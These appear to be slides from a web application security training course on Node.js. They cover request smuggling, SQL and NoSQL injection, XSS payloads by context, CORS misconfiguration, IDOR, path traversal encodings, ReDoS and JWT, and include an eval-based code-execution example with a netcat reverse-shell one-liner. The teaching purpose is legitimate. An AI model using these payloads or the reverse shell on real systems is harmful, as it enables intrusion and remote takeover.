

Hacking Modern Web apps

Master the Future of Attack Vectors

*Training Slides:
Web Apps: Part 1*

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Special Note

Hacking Modern Web apps - Part 1

- Strictly no recording of the session
- Don't share the training URL's with anyone else. Training is exclusive for invited participants.
- Always use 7asecurity slack for all communications (please don't use zoom chat)

Agenda

Hacking Modern Web apps - Part 1

- Introductions
- Part 0 - Nodejs Security Crash Course
- Part 1 - Emphasis on Static Analysis with Runtime Checks
- Part 2 - Focus on Attacking/Defending Nodejs Applications
- Part 3 - Test Your Skills

About Abraham Aranguren

- CEO at [**7ASecurity**](#), pentests & security training
public reports, presentations, etc.: <https://7asecurity.com/publications>
- **Co-Author** of **Mobile, Web and Desktop (Electron)** app 7ASecurity courses:
<https://7asecurity.com/training>
- **Security Trainer** at Blackhat USA, HITB, OWASP Global AppSec, LASCON, 44Con, HackFest, Nullcon, SEC-T, etc.
- Former Team Lead & Penetration Tester at [**Cure53**](#) and [**Version 1**](#)
- Author of Practical Web Defense: www.elearnsecurity.com/PWD
- Founder and leader of **OWASP OWTF**, and **OWASP flagship project**: owtf.org
- Some presentations: www.slideshare.net/abrahamaranguren/presentations
- Some **sec certs**: CISSP, OSCP, GWEB, OSWP, CPTS, CEH, MCSE: Security, MCSA: Security, Security+
- Some **dev certs**: ZCE PHP 5, ZCE PHP 4, Oracle PL/SQL Developer Certified Associate, MySQL 5 CMDev, MCTS SQL Server 2005

Public Mobile Pentest Reports 2022-2023

Free & Fast way to learn about security = Read public pentest reports! :)

Download from: <https://7asecurity.com/publications>

2023 Public Pentest Reports (coming soon):

- **Bridgefy:** <https://bridgefy.me/>
- **K-9 Mail** (soon to be “Thunderbird for Android”): <https://k9mail.app/>
- **ArgoVPN:** <https://argovpn.com/en/>

2022 Public Pentest Reports:

- [Pentest-Report minivpn Go client & Desktop Apps \(OTF\) 08.2022](#)
- [Pentest-Report Amnezia VPN Mobile & Desktop Apps \(OTF\) 07.2022](#)
- [Pentest-Report Linux Foundation LFX Platform \(OSTIF\) 06.2022 \(possibly in 2023\)](#)
- [Pentest-Report LeaveHomeSafe Mobile Apps \(OTF\) 04.2022](#)
 - COVID19 contact-tracing app enforced in Hong-Kong
- [Pentest-Report WEPN Web, API, Mobile & Device \(OTF\) 03.2022](#)

Older Public Mobile Pentest Reports - I

Smart Sheriff mobile app mandated by the South Korean government:

Public Pentest Reports:

- Smart Sheriff: Round #1 - https://7asecurity.com/reports/pentest-report_smartsheiff.pdf
- Smart Sheriff: Round #2 - https://7asecurity.com/reports/pentest-report_smartsheiff-2.pdf

Presentation: "Smart Sheriff, Dumb Idea, the wild west of government assisted parenting"

Slides: <https://www.slideshare.net/abrahamaranguren/smart-sheriff-dumb-idea-the-wild....>

Video: <https://www.youtube.com/watch?v=AbGX67CuVBQ>

Chinese Police Apps Pentest Reports:

- "BXAQ" (OTF) 03.2019 - https://7asecurity.com/reports/analysis-report_bxaq.pdf
- "IJOP" (HRW) 12.2018 - https://7asecurity.com/reports/analysis-report_ijop.pdf
- "Study the Great Nation" 09.2019 - https://7asecurity.com/reports/analysis-report_sgn.pdf

Presentation: "Chinese Police and CloudPets"

Slides: <https://www.slideshare.net/abrahamaranguren/chinese-police-and-cloud-pets>

Video: <https://www.youtube.com/watch?v=kuJJ1Jjwn50>

Older Public Mobile Pentest Reports - II

Other pentest reports:

- imToken Wallet - https://7asecurity.com/reports/pentest-report_imtoken.pdf
- Whistler Apps - https://7asecurity.com/reports/pentest-report_whistler.pdf
- Psiphon - https://7asecurity.com/reports/pentest-report_psiphon.pdf
- Briar - https://7asecurity.com/reports/pentest-report_briar.pdf
- Padlock - https://7asecurity.com/reports/pentest-report_padlock.pdf
- Peerio - https://7asecurity.com/reports/pentest-report_peerio.pdf
- OpenKeyChain - https://7asecurity.com/reports/pentest-report_openkeychain.pdf
- F-Droid / Baazar - https://7asecurity.com/reports/pentest-report_fdroid.pdf
- Onion Browser - https://7asecurity.com/reports/pentest-report_onion-browser.pdf

More here:

<https://7asecurity.com/publications>

About Anirudh Anand

- Security Researcher - Focused on Web and Mobile Application Security.
- CTF lover - Web security team lead for [Team bi0s](#) (#1 Indian CTF team).
- Occasional Bug Bounty - Google, Microsoft, LinkedIn, Gitlab, Zendesk etc...
- Open Source Enthusiast - OWTF, Hackademic, Kurukshetra
- Certs: OSCP, OSWE, ePWD
- Blog: <https://blog.0daylabs.com>
- Twitter: [@a0xnirudh](#)

Who are you? :)

Please introduce yourselves:

- What is your name
- What is your experience with web / API security?
- What do you want to get out of this course?

Check I - Hardware/Software Prerequisites

A laptop with the following specifications:

- Ability to connect to wireless and wired networks.
- Ability to read PDF files
- Administrative rights: USB allowed, the ability to deactivate AV, firewall, install tools, etc.
- Minimum 8GB of RAM (recommended: 16GB+)
- 60GB+ of free disk space (to copy a lab VM and other goodies)
- Latest VirtualBox, including the “VirtualBox Extension Pack”
- One of the following: BurpSuite, ZAP or Fiddler (for MitM)

Check II - Attendees will be provided with

1. Digital copies of all training material
2. Lab VMs
3. Test apps
4. Source code for test apps
5. Lifetime access to training portal, including:
 - a. Future updates
 - b. Step-by-step video recordings, slides & lab PDFs
 - c. Unlimited email support


Part 1

Hacking Modern Web apps
Master the Future of Attack Vectors

Part 0 - Node.js Security Crash Course



The Node.js Threat Model



OWASP Top 10 Web Risks

A1 - Injections

A2 - Broken Authentication

A3 - Sensitive Data Exposure

A4 - XML External Entities

A5 - Broken Access Control

A6 - Security Misconfiguration

A7 - Cross Site Scripting (XSS)

A8 - Insecure Deserialization

A9 - Using components with known vulnerabilities

A10 - Insufficient logging and monitoring

Web apps → OWASP Top 10 Proactive Controls

C1: Define Security Requirements

CC2: Leverage Security Frameworks and Libraries

C3: Secure Database Access

C4: Encode and Escape Data

C5: Validate All Inputs

C6: Implement Digital Identity

C7: Enforce Access Controls

C8: Protect Data Everywhere

C9: Implement Security Logging and Monitoring

C10: Handle All Errors and Exceptions

The state of Node.js Security

Part I - Vulnerabilities in Node.js Versions



CVE-2019-15605 - HTTP Request Smuggling in Node.js < 12.15, 13.8, 10.9

CVE: [CVE-2019-15605](#)

Vulnerable versions of Node.js: < 12.15.0, 13.8.0, 10.19.0

Possible result:

HTTP request smuggling in Node.js 10, 12, and 13 causes malicious payload delivery when transfer-encoding is malformed.

```
POST / HTTP/1.1
Content-Type: text/plain; charset=utf-8
Host: hacker.exploit.com
Connection: keep-alive
Content-Length: 10
Transfer-Encoding: chunked, eee
```

```
HELLOWORLDPOST / HTTP/1.1
Content-Type: text/plain; charset=utf-8
Host: hacker.exploit.com
Connection: keep-alive
Content-Length: 28
```

I AM A SMUGGLED REQUEST!!!

CVE-2019-5737 - Denial of Service (DoS) in Node.js < 6.17.0, 8.15.1, 10.15.2

CVE: [CVE-2019-5737](#)

Vulnerable versions of Node.js: < 6.17.0, 8.15.1, 10.15.2

Possible result:

*In Node.js including 6.x before 6.17.0, 8.x before 8.15.1, 10.x before 10.15.2, and 11.x before 11.10.1, an attacker can cause a **Denial of Service (DoS)** by establishing an HTTP or HTTPS connection in keep-alive mode and by sending headers very slowly.*

More Issues


SNYK:

<https://snyk.io/vuln?type=npm>

NIST:

https://nvd.nist.gov/vuln/search/results?form_type=Basic&results_type=overview&query=nodejs&search_type=all

Part 0 - Node.js architecture and its components



Part 1 - Emphasis on Static Analysis with Runtime Checks



Image source: techmaish.com

Part 1 - Tools and techniques for Static Analysis



Part 1 - Tools and techniques for Static Analysis

Useful Tools

- **Review SQLite files:**
 - + **SQLite Studio** - <https://github.com/pawelsalawa/sqlitestudio/>
 - + sqlite3 command line utility
- **Dependency Analysis:**
 - + [npm audit](#)
 - + <https://snyk.io/>
 - + <https://github.com/ES-Community/nsecure>
 - + <https://retirejs.github.io/retire.js/>
- **Static Code Analysis:**
 - + <https://github.com/ajinabraham/nodejsscan>

Part 1 - Tools and techniques for Static Analysis

- Each node.js projects will have its own package.json which defines app dependencies.

Command:

```
alert1@7ASecurity ~/owasp_juice_shop $ npm audit
```

Output:

```
==== npm audit security report ====
# Run npm install express-jwt@5.3.1 to resolve 6 vulnerabilities
```

Critical	Verification Bypass
Package	jsonwebtoken
Dependency of	express-jwt
Path	express-jwt > jsonwebtoken
More info	https://npmjs.com/advisories/17

Part 1 - Tools and techniques for Static Analysis

- Each node.js projects will have its own package.json which defines app dependencies.

Commands:

```
alert1@7ASecurity ~/owasp_juice_shop $ snyk monitor
```

Output:

```
Monitoring /juice-shop (juice-shop) ...
```

```
Explore this snapshot at
```

```
https://app.snyk.io/org/7a/project/a417306a-d8d6-4239-abb9-82d5a9319b24/history/b41dddc5-8f38-46b5-8898-f31fd02ac86e
```

HIGH SEVERITY NEW

🛡 Regular Expression Denial of Service (ReDoS)

Vulnerable module: acorn

Introduced through: pdfkit@0.11.0

Exploit maturity: No known exploit

Fixed in: 7.1.1

Detailed paths


- **Introduced through:** juice-shop@10.0.0 > pdfkit@0.11.0 > fontkit@1.8.0 > brfs@1.6.1 acorn@5.7.3

Lab 1: Setup check + Introduction to Node.js



<https://training.7asecurity.com/ma/mwebapps/part1/lab1/>

SQL Injection



SQL Injection

- Occurs when user input is directly appended to the underlying SQL query without sanitization


```
// get details of user
query = "select * from users where username = ' " + req.query.username + "'";
```

Request 1: username=7asec (safe)

Request 2: username=%27%20or%201%3D1%20-- (OOPS !)


```
// query will return data without correct password
query = "select * from users where username = ' ' or 1=1 -- ';
```

SQL Injection



SQL vs NoSQL

SQL



Relational Data Model


Pros

- › Easy to use and setup.
- › Universal, compatible with many tools.
- › Good at high-performance workloads.
- › Good at structure data.

Cons

- › Time consuming to understand and design the structure of the database.
- › Can be difficult to scale.

NoSQL



Document Data Model

Pros

- › No investment to design model.
- › Rapid development cycles.
- › In general faster than SQL.
- › Runs well on the cloud.

Cons

- › Unsuitable for interconnected data.
- › Technology still maturing.
- › Can have slower response time.

NoSQL Syntax(MongoDB)

- MongoDB expects input in JSON format

```
db.collections.find( {'username': '7asecurity'}); // returns the user named  
'7asecurity'
```

- MongoDB also supports associative arrays for query criteria.

```
db.collections.find({'username':  {$ne: '7asecurity'}}); // returns user who is not  
named '7asecurity'
```

\$ne = Not equals, **\$gt** = greater than, **\$regex** = regex based string comparisons etc...

NoSQL Injection (MongoDB)

```
// Node.JS with Express and Mongo classic example
db.collection('users').find({
  "user": req.query.user,
  "password": req.query.password
}) ;
```

Request 1: user=admin&password=abcd (safe !)


Request 2: user=admin&password[\$ne]=-1 (OOPS !)

```
db.collection('users').find({
  "user": admin,
  "password": {"$ne": -1}
}) ;
```

Login Bypassed !

Templating Engines

- Separating Business logic with presentation logic.
- Easily generate dynamic web pages, emails etc...
- Some examples:
 - **PHP** - Smarty, Twig
 - **Java** - Velocity, Freemarker
 - **Python** - Jinja2, Mako
 - **Javascript** - Jade




Template Injection

- Occurs when user input is embedded in unsafe manner

```
$output = $twig->render($_GET['custom_email'], array("first_name" => $user.first_name) );  
  
custom_email={{ 7*7 }}
```

49



Lab 2: Injection attacks on Node.js



<https://training.7asecurity.com/ma/mwebapps/part1/lab2/>

Cross Site Scripting (XSS)

Ok, you can inject **JavaScript**, so what ?

Same Origin Policy (SOP)

- Scripts on a page can make HTTP **request** and process **responses** between hosts that has the same:

Protocol, Hostname, Port

- An **IFRAME** loaded cannot **read** or **write** data into the page unless it's in the same origin !
- js, images and css files can be loaded from an external domain (considered as **assets**).
- **Assets** can be loaded from cross domain !

Same Origin Policy (SOP)

Compared URL	Outcome	Reason
<code>http://www.example.com/dir/page2.html</code>	Success	Same scheme, host and port
<code>http://www.example.com/dir2/other.html</code>	Success	Same scheme, host and port
<code>http://username:password@www.example.com/dir2/other.html</code>	Success	Same scheme, host and port
<code>http://www.example.com:81/dir/other.html</code>	Failure	Same scheme and host but different port
<code>https://www.example.com/dir/other.html</code>	Failure	Different scheme
<code>http://en.example.com/dir/other.html</code>	Failure	Different host
<code>http://example.com/dir/other.html</code>	Failure	Different host (exact match required)
<code>http://v2.www.example.com/dir/other.html</code>	Failure	Different host (exact match required)
<code>http://www.example.com:80/dir/other.html</code>	Depends	Port explicit. Depends on implementation in browser.

Bypassing SOP - JSONP

- Using JSONP which exploits the idea that <script> can load from external domains !

```
var tag = document.createElement("script");
tag.src = 'location.php?callback=mycallback'; //mycallback({ foo: 'bar' });
document.getElementsByTagName("head")[0].appendChild(tag);
```

- Translates to:

```
<script src=location.php?callback=mycallback></script> ➡> <script>
                                                    mycallback({foo: 'bar'});
</script>
```

- We can declare the function mycallback elsewhere on the same page.

```
function mycallback(response) {
  document.getElementById("output").innerHTML = response.foo; // SOP Bypass !
};
```

Bypassing SOP - postMessage()

- Using postMessage() - provides us an option for sending cross-domain data between two browser windows safely, which otherwise is restricted to the same origins.

```
popUp = window.open(domain + '/xss_labs/post_message/index2.html', '');  
popUp.postMessage(message, domain);
```

- Receiving window:

```
window.addEventListener('message', function(e) {  
    document.getElementsByTagName('p')[0].innerHTML = 'Message from Domain 1: ' + e.data;
```

- Incoming message “Origin” not validated == Trouble !!

Cross Origin Resource Sharing (CORS)

- Cross Origin Resource Sharing (CORS): XMLHttpRequest can bypass SOP.
- Introduced in **HTML5**
- Make use of “**Access-Control-Allow-Origin:**” header

```
var http = new XMLHttpRequest();
http.open("GET", url, true);
http.onreadystatechange = function() {
  if (http.status == 200) {
    alert(http.responseText);
  }
}
http.send(null);
```

XSS - CORS

- CORS will fail to load response if response doesn't contains **Access-Control-Allow-Origin** header.

```
Access-Control-Allow-Origin: https://7asecurity.com
Access-Control-Allow-Methods: GET
```

- Servers can also limit the allowed **methods** to access the data.

Story Time: Defeating SOP via CORS

The CORS RFC forbids this:

Access-Control-Allow-Origin: *

Access-Control-Allow-Credentials: true

BUT developers sometimes do this:

```
header('Access-Control-Allow-Origin: ' + $_SERVER['Origin']);  
header('Access-Control-Allow-Credentials: true');
```

Result = SOP bypass = Possible CSRF by design

Access-Control-Allow-Origin: https://attacker.com

Access-Control-Allow-Credentials: true

Story Time: Defeating SOP via CORS

The CORS RFC forbids this:

Access-Control-Allow-Origin: *

Access-Control-Allow-Credentials: true

Developers should instead do this (= whitelist validation)

```
<?php
if (!in_array((string) $_SERVER['Origin'], array('trusted1.com', 'trusted2.com'))) {
    die('Forbidden');//Origin is NOT trusted, execution stops here
}
header('Access-Control-Allow-Origin: ' + $_SERVER['Origin']);
header('Access-Control-Allow-Credentials: true');
```

Useful when you have to allow CORS for multiple domains.

XSS - Different Types

- We mainly deal with 3 types of XSS:
 - **Reflected XSS** - happens when data received from the HTTP request is reflected in the immediate response in an unsafe way.
`reflected.php?name= UserInput`
 - **DOM Based XSS** - happens when client side javascript takes data from attacker controlled sources like the URL to dynamically modify DOM elements using sinks.
`types/dom.php# UserInput`
 - **Stored XSS** - happens when data received from the HTTP request is saved on to the backend database and is later used in the HTTP responses without any sanitization.



XSS - Different Contexts

- A **context** is an environment where user supplied inputs starts living. Mainly 5 contexts:
 - HTML Context
 - Attribute Context
 - Script Context
 - URL Context
 - Style Context (old **IE** Specific vector - Deprecated)

XSS - HTML Context

- User input comes inside **HTML** elements:

```
<h2>User Bio : UserInput</h2>
```

- **POC:** </h2><svg/onload=alert(1)>
- **Analysis:** <, >, tags were allowed in **UserInput**

- **Fixing:**

```
<h2>User Bio : html_encode(UserInput)</h2>
```

- **HTML Encoding:** <, >, ", ', & characters will be encoded

XSS - Attribute Context

- User input comes inside **Attributes** of HTML elements:

```
<h2 id="id-num" title="UserInput"> </h2>
```

- **POC:** title" onload="alert(1)
- **Analysis:** " (double quotes) allowed in **UserInput**
- **Fixing:**

```
<h2 title="html_encode(UserInput)"> </h2>
```
- **HTML Encoding:** ", ', ` , <, >, & characters will be encoded. (Needs context aware escaping/encoding, also ensure attributes are quoted)

XSS - Script Context

- User input comes inside **JavaScript** (very tricky context):

```
<script> var name = "UserInput";</script>
```

- **POC:** ";alert(1);"
- **Analysis:** " (double quotes) allowed in **UserInput**

- **Fixing:**

```
var name = "encode(UserInput)";
```

- **Encoding:** <, >, ", &, ', ` characters has to be encoded. (Requires context aware encoding/escaping, also ensure variables are quoted)



XSS - URL Context

- User input comes inside **href** attribute:

```
<a href="UserInput" target="_blank">Link</a>
```

- **POC:** javascript:alert(1)
- **Analysis:** javascript: URI's allowed in **UserInput**

- **Fixing:**
 - If possible, URL's shouldn't be taken and processed from user input
 - URL's should always start with "http"

XSS - Libraries to Mitigate XSS

- **DOMPurify** - a DOM-only, super-fast, uber-tolerant XSS sanitizer for HTML, MathML and SVG: <https://github.com/cure53/DOMPurify>
- Some other alternatives:
<https://openbase.io/packages/top-nodejs-xss-libraries> (use with caution)


XSS - CSP

- **CSP** limits the capability of the injected scripts without modifying the parent resource.
- An **HTTP header** with list of directives with each defines source **name** and **list**.

```
content-security-policy: default-src 'self'; img-src 'self' blob: data:  
https://*.cdn.twitter.com; script-src 'self' 'unsafe-inline' https://*.twimg.com  
'nonce-NDRmMTQ3tNzA0NzYwMjYwM2Mx'; style-src 'self' 'unsafe-inline'  
https://*.twimg.com; worker-src 'self' blob:; report-uri  
https://twitter.com/i/csp\_report?a=05=false
```

- Supported by Chrome, Firefox, Safari but not IE !


Lab 3: Client Side attacks on Node.js



<https://training.7asecurity.com/ma/mwebapps/part1/lab3/>

Insecure Direct Object References (IDOR)

- User supplied input is unvalidated and direct access to the object requested is provided.



IDOR - What's an Object ?

- Any user data/information like, pictures, profile, account, files etc
- Social Network:
 - videos, photos, posts, followers etc...
- Ecommerce:
 - Credit card, profile information, shipping address, items, shopping cart
- Other:
 - Files, documents, messaging,

IDOR - Example

Consider the following URL for deleting the profile pic of a certain user:

`https://example.com/deleteProfilePic? id=1337`

If the application is vulnerable to IDOR:

`https://example.com/deleteProfilePic? id=1338`

Will delete the profile pic of another user having the id of “1338”

IDOR - Testing

1. Capture all the traffic via a proxy like burpsuite
2. Find all the requests (GET/POST/PUT) which has any object identifier like:
 - a. id, pid, uid etc... or
 - b. Check for URLs in the format “/api/v2/profile/ **12345**” etc...
3. Create a secondary account and get the above identifiers from both accounts.
4. Use first account's session and replay requests with the identifier from secondary account.
5. Can you access/edit any of the object from another account?

IDOR - Testing

- What if identifiers are not easily predictable (ex: UUID) ?

Ex: 30c4fa50-d1a2-11ea-87d0-0242ac130003

- Look for ways to leak the identifiers from common API calls which gives bulk data:

- /api/v2/users/
- /api/v2/profile/
- /api/v2/files/

Lab 4: Business logic flaws



<https://training.7asecurity.com/ma/mwebapps/part1/lab4/>

Path Traversal

- A path traversal attack aims to access files and directories that are stored outside the webroot folder.




Image source: portswigger.com

Path Traversal

- A path traversal attack aims to access files and directories that are stored outside the webroot folder.
- Happens mostly due to:
 - user input being directly used inside `file_include()` functions
 - Incorrect path normalization techniques

```
u = request.url;

path.normalize(url.parse(u).pathname.replace(/^[\\/\\\]/?, '/')).replace(/\\\\/g, '/')

// Exploit and more details in lab 5 ;)
```

Path Traversal - Filter Bypass techniques

- URL encoding (both single and double encoding) can help bypass typical filters or normalization techniques ! ;)

%2e%2e%2f	../
..%255c	..\
%2e%2e/	../
..%2f	../
%2e%2e%5c	..\
%252e%252e%255c	..\
..%5c	..\

Regular Expression Denial of Service (ReDoS)

Attacking regex engines with specifically crafted inputs.

Regex: /A (B | C+) +D/

String: ACCCX

1. The regex engine will try to match the first possible way to accept the current character and then proceed to the next one.
2. If it fails to match the next one, it backtracks to see if there is a way to match the previous character.
3. This can go on and on and sometimes it can cause an exponential backtracking causing a Denial of Service.

Regular Expression Denial of Service (ReDoS)

Attacking regex engines with specifically crafted inputs.

Regex: `/A (B|C+) +D/`

String: ACCCX

4 different ways to match the above string with the regex:

1. CCC
2. CC+C
3. C+CC
4. C+C+C.

Higher number of “C” == More permutations ! For an invalid regex, all the above test cases should fail.

What if number of “c” is too large == Exponential backtracking !

Regular Expression Denial of Service (ReDoS)

Attacking regex engines with specifically crafted inputs.

Regex: `/A (B|C+) +D/`

String: ACCCX

Regex Debugger: regex101.com

String	No. of C's	Steps
ACCCX	3	37
ACCCCX	4	70
ACCCCCX	5	135
ACCCCCCCCCCCCCCX	14	65,552

Remote Code Execution (RCE)

- If user input is passed on to javascript execution sinks, it directly escalates to RCE !
 - eval()
 - Function ()
 - ... ?

```
app.get('/', function (req, res) {  
  res.send('Hello ' + eval(req.query.q));  
  console.log(req.query.q);  
});
```

POC: require('util').format('%s', 'hacked')

Reverse Shell: require('child_process').exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc
127.0.0.1 4444 >/tmp/f ')

```
curl http://localhost/?q= payload
```

Lab 5: Attacking NPM modules



<https://training.7asecurity.com/ma/mwebapps/part1/lab5/>

JSON Web Tokens (JWT)

- JWT = JSON Web Tokens
- Defined in RFC 7519
- Extensively used on the modern web for Authentication, especially on REST API's
- (Somewhat) Secure way to exchange authentication information
- Stateless session management, no session cookies, Once configured (establishes trust), backend doesn't need to talk to authorization server

JSON Web Tokens (JWT)

eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9 . eyJzdGF0dXMiOiJzdWNjZXNzIiwizGF0YSI6eyJpZCI6MTgsInVzZXJuYW1lIjoiIiwiZW1haWwiOiJ1c2VyQGdtYWlsLmNvbSI
sInBhc3N3b3JkIjoiNmFkMTRiYTk5ODZlMzYxNTQyM2RmY2EyNTZkMDR1M2YiLCJyb2x
1IjoiY3VzdG9tZXIiLCJsYXN0TG9naW5JcCI6IjAuMC4wLjAiLCJwcm9maWx1SW1hZ2U
iOiJkZWZhdWx0LnN2ZyIsInRvdHBTZWNyZXQiOiIiLCJpc0FjdG12ZSI6dHJ1ZSwiY3J
1YXR1ZEF0IjoiMjAyMC0wMy0wMiAxNzo0NjoyNS40MTAgKzAwOjAwIiwidXBkYXR1ZEF
0IjoiMjAyMC0wMy0wMiAxNzo0NjoyNS40MTAgKzAwOjAwIiwiZGVsZXR1ZEF0IjpudWx
sfSwiaWF0IjoxNTgzMTcxMTkyLCJleHAiOjE1ODMxODkxOTJ9 . mzVGu3bfTNVyp-O5Be
7p6YsxWPYRR0RJIzfp90I4Tf0A0pWZSEKYbGf1Vk5iDaYUWshTxHgKw-JCCaLleOeHfL
mtT2Tqr_42TZIhIbmVIZSUqqxLyZoCqNEwtSV_5abb0xSEb3bV1-nMIZV6iur21-BRPj
OmGOwmsNrFM3DFQ9A

JSON Web Tokens (JWT)

- Consists of 3 parts:

- Header

Header:

```
{  
  "alg": "RS256",  
  "typ": "JWT"  
}
```

- Primarily contains algorithms using which encryption happens.
 - What if we manually modify the algorithm to “None” ?

JSON Web Tokens (JWT)

- Consists of 3 parts:

- Payload

```
{  
  "status": "success",  
  "data": {  
    "id": 18,  
    "username": "",  
    "email": "user@gmail.com",  
    "role": "customer",  
    "isActive": true,  
    "createdAt": "2020-03-02 17:46:25.410 +00:00",  
    "updatedAt": "2020-03-02 17:46:25.410 +00:00",  
    "deletedAt": null  
  },  
}
```

- Contains data, user information, etc...

JSON Web Tokens (JWT)

- Consists of 3 parts:
 - Signature

```
mzVGu3bfTNVyp-05Be7p6YsxWPyRR0RJIzfp90I4Tf0A0pWZSEKYbGf1Vk5i  
DaYUWshTxHgKw-JCCalleOeHfLmtT2Tqr_42TZIhIbmVIZSUqqxLyZoCqNEw  
tSV_5abb0xSEb3bV1-nMIZV6iur21-BRPjOmGowmsNrFM3DFQ9A
```

Used for server side verification and integrity checking !

JSON Web Tokens (JWT) - Summarised

1 eyJhbGciOiJIUzI1NilsInR5cCl6IkpxVCJ9.eyJzdWliOilxMjM0NT
2 Y3ODkwliwibmFtZSI6IkpxvaG4gRG9IliwiaWF0IjoxNTE2MjM5M
3 DlyfQ.XbPfbIHMI6arZ3Y922BhjWgQzWXcXNrz0ogtVhfEd2o

1

Header

```
{  
  "alg": "HS256",  
  "typ": "JWT"  
}
```

2

Payload

```
{  
  "sub": "1234567890",  
  "name": "John Doe",  
  "iat": 1516239022  
}
```

3

Signature

```
HMACSHA256(  
  BASE64URL(header)  
  .  
  BASE64URL(payload) ,  
  secret)
```

Lab 6: Cryptography



<https://training.7asecurity.com/ma/mwebapps/part1/lab6/>

Lab 7: CTF - Test your skills



<https://training.7asecurity.com/ma/mwebapps/part1/lab7/>

Questions



Q & A

Any questions? :)

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